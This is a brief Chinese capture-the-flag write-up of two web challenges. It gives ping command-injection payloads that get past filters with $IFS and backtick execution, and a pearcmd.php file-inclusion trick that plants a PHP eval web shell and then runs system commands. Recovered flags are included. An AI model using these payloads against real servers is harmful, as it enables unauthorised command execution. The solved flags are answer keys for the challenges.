题目地址:BUUCTF在线评测
考点:ping命令相关命令执行
这里过滤了flag和空格
绕过空格可以使用
$IFS$1
使用ls命令查询目录
?ip=127.0.0.1;ls
发现有两个文件,一个是flag.php,另一个是index.php。
cat获取文件内容,过滤了flag,所以flag.php无效,但可以访问index.php,查看源码
?ip=127.0.0.1;cat$IFS$1index.php
过滤了很多东西,包括flag。
可以使用反引号是作为内联执行,`ls`即可解释为输出index.php以及flag.php的内容,那么flag就可以输出出来了。
?ip=127.0.0.1;cat$IFS$1`ls`
访问源代码:
拿到flag.
flag{8b1f0054-5f92-402d-ad1a-ecc5ebcf0777}
[HXBCTF 2021]easywill
利用pearcmd.php进行文件包含。
在burpsuite里抓包将参数传进去,然后再放包,不然<>
会被url编码,导致写入的一句话木马失效。
?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[0])?>+/tmp/aa.php
接着访问:
?name=cfile&value=/tmp/aa.php
POST传参:
0=system('ls /');
命令执行查看目录,知道flag在
flag32897328937298hdwidh下面
直接拿flag:
0=system('cat /flag32897328937298hdwidh');